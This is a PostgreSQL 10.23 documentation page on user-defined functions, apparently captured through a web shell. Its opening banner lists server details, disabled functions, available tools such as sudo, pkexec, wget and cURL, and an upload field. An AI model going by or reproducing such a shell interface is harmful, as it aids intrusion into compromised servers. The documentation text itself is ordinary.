| Server IP : 104.21.25.180 / Your IP : 104.23.197.122 Web Server : Apache/2.4.37 System : Linux almalinux.duckdns.org 4.18.0-553.111.1.el8_10.x86_64 #1 SMP Sun Mar 8 20:06:07 EDT 2026 x86_64 User : ricodeal ( 1046) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/postgresql-docs/html/ |
Upload File : |
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><title>37.3. User-defined Functions</title><link rel="stylesheet" type="text/css" href="stylesheet.css" /><link rev="made" href="[email protected]" /><meta name="generator" content="DocBook XSL Stylesheets Vsnapshot" /><link rel="prev" href="extend-type-system.html" title="37.2. The PostgreSQL Type System" /><link rel="next" href="xfunc-sql.html" title="37.4. Query Language (SQL) Functions" /></head><body><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navheader"><table width="100%" summary="Navigation header"><tr><th colspan="5" align="center">37.3. User-defined Functions</th></tr><tr><td width="10%" align="left"><a accesskey="p" href="extend-type-system.html" title="37.2. The PostgreSQL Type System">Prev</a> </td><td width="10%" align="left"><a accesskey="u" href="extend.html" title="Chapter 37. Extending SQL">Up</a></td><th width="60%" align="center">Chapter 37. Extending <acronym xmlns="http://www.w3.org/1999/xhtml" class="acronym">SQL</acronym></th><td width="10%" align="right"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="10%" align="right"> <a accesskey="n" href="xfunc-sql.html" title="37.4. Query Language (SQL) Functions">Next</a></td></tr></table><hr></hr></div><div class="sect1" id="XFUNC"><div class="titlepage"><div><div><h2 class="title" style="clear: both">37.3. User-defined Functions</h2></div></div></div><a id="id-1.8.3.6.2" class="indexterm"></a><p> <span class="productname">PostgreSQL</span> provides four kinds of
functions:
</p><div class="itemizedlist"><ul class="itemizedlist" style="list-style-type: disc; "><li class="listitem"><p> query language functions (functions written in
<acronym class="acronym">SQL</acronym>) (<a class="xref" href="xfunc-sql.html" title="37.4. Query Language (SQL) Functions">Section 37.4</a>)
</p></li><li class="listitem"><p> procedural language functions (functions written in, for
example, <span class="application">PL/pgSQL</span> or <span class="application">PL/Tcl</span>)
(<a class="xref" href="xfunc-pl.html" title="37.7. Procedural Language Functions">Section 37.7</a>)
</p></li><li class="listitem"><p> internal functions (<a class="xref" href="xfunc-internal.html" title="37.8. Internal Functions">Section 37.8</a>)
</p></li><li class="listitem"><p> C-language functions (<a class="xref" href="xfunc-c.html" title="37.9. C-Language Functions">Section 37.9</a>)
</p></li></ul></div><p>
</p><p> Every kind
of function can take base types, composite types, or
combinations of these as arguments (parameters). In addition,
every kind of function can return a base type or
a composite type. Functions can also be defined to return
sets of base or composite values.
</p><p> Many kinds of functions can take or return certain pseudo-types
(such as polymorphic types), but the available facilities vary.
Consult the description of each kind of function for more details.
</p><p> It's easiest to define <acronym class="acronym">SQL</acronym>
functions, so we'll start by discussing those.
Most of the concepts presented for <acronym class="acronym">SQL</acronym> functions
will carry over to the other types of functions.
</p><p> Throughout this chapter, it can be useful to look at the reference
page of the <a class="xref" href="sql-createfunction.html" title="CREATE FUNCTION"><span class="refentrytitle">CREATE FUNCTION</span></a> command to
understand the examples better. Some examples from this chapter
can be found in <code class="filename">funcs.sql</code> and
<code class="filename">funcs.c</code> in the <code class="filename">src/tutorial</code>
directory in the <span class="productname">PostgreSQL</span> source
distribution.
</p></div><div xmlns="http://www.w3.org/TR/xhtml1/transitional" class="navfooter"><hr></hr><table width="100%" summary="Navigation footer"><tr><td width="40%" align="left"><a accesskey="p" href="extend-type-system.html" title="37.2. The PostgreSQL Type System">Prev</a> </td><td width="20%" align="center"><a accesskey="u" href="extend.html" title="Chapter 37. Extending SQL">Up</a></td><td width="40%" align="right"> <a accesskey="n" href="xfunc-sql.html" title="37.4. Query Language (SQL) Functions">Next</a></td></tr><tr><td width="40%" align="left" valign="top">37.2. The <span xmlns="http://www.w3.org/1999/xhtml" class="productname">PostgreSQL</span> Type System </td><td width="20%" align="center"><a accesskey="h" href="index.html" title="PostgreSQL 10.23 Documentation">Home</a></td><td width="40%" align="right" valign="top"> 37.4. Query Language (<acronym xmlns="http://www.w3.org/1999/xhtml" class="acronym">SQL</acronym>) Functions</td></tr></table></div></body></html>